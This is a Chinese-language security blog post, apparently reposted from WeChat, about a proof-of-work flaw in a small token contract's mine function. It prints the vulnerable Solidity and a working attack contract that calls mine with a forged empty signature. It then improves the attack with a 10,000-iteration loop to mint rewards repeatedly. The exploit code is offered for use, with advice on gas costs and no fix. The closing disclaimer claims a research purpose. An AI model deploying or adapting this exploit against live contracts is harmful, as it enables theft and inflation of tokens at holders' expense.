一只土狗的合约部分漏洞源码
function mine(bytes memory signature, address nonce, address recipient) external {
// Verify PoW
require(verifyPoW(nonce), "Invalid PoW");
// Recover the signer from the signature
address signer = recoverSigner(signature, nonce);
require(signer == nonce, "Signature verification failed");
// Mark the nonce as used
usedNonces[nonce] = true;
uint256 mintedReward = getCurrentReward();
_adjustDifficulty();
_adjustMiningReward();
_mint(recipient, mintedReward);
emit RewardFound(recipient, mintedReward);
}
function verifyPoW(address nonce) public view returns (bool) {
require(!usedNonces[nonce], "Nonce already used");
bytes32 hash = keccak256(abi.encodePacked(nonce));
uint256 target = calculateTarget();
bool isValid = uint256(hash) < target;
return isValid;
}
该代码中存在一个PoW 验证机制问题,在 verifyPoW 函数中,虽然检查了 nonce 是否已被使用,但没有检查 nonce 是否属于调用者。
以上代码中 并没有确保检查 nonce 的所有权,不是只有 nonce 的所有者才能挖矿并获得奖励。
攻击者可能使用别人的 nonce 进行挖矿,从而获得奖励。
在 mine 函数中,挖矿奖励是根据 getCurrentReward 函数返回的值发放的。然而,挖矿奖励并未随着时间而变化,而是固定的。这可能导致通胀或通缩等问题.
PoW 验证机制说明如下
我们就可以利用PoW 验证机制漏洞进行攻击
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
contract xxAttack {
// 合约地址
address public xxAddress;
// 事件用于跟踪攻击
event RewardReceived(address indexed recipient, uint256 amount);
// 构造函数,接收 xx 合约地址
constructor(address _xxAddress) {
xxAddress = _xxAddress;
}
// 攻击函数,模拟利用 PoW 验证机制漏洞的过程
function attack(address nonce, address recipient) external {
// 调用 xx 合约的 mine 函数,传入伪造的参数
(bool success, bytes memory data) = xxAddress.call(abi.encodeWithSignature("mine(bytes,address,address)", "", nonce, recipient));
// 如果调用成功,表示攻击成功
if (success) {
emit RewardReceived(recipient, 12e18); // 模拟奖励收到的事件
} else {
revert("Attack failed"); // 如果调用失败,则回滚并抛出错误
}
}
}
重点查看attack的调用
(关键合约名称 我xxx打码了)
攻击前看下token价格
开始执行攻击代码
优化一下攻击的代码
启用循环多次攻击
在attack参数中加入for循环的攻击
for (uint i = 0; i < 10000; i++) {
// 调用 xx 合约的 mine 函数,传入伪造的参数
(bool success, bytes memory data) = xxxAddress.call(abi.encodeWithSignature("mine(bytes,address,address)", "", nonce, recipient));
// 如果调用成功,表示攻击成功
if (success) {
emit RewardReceived(recipient, 12e18); // 模拟奖励收到的事件
} else {
revert("Attack failed"); // 如果调用失败,则回滚并抛出错误
最后提醒一下 交易的gas成本 还是要自己掏的
扫描二维码获取
更多精彩
洛米唯熊
原文始发于微信公众号(洛米唯熊):PoW 验证机制漏洞攻击
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论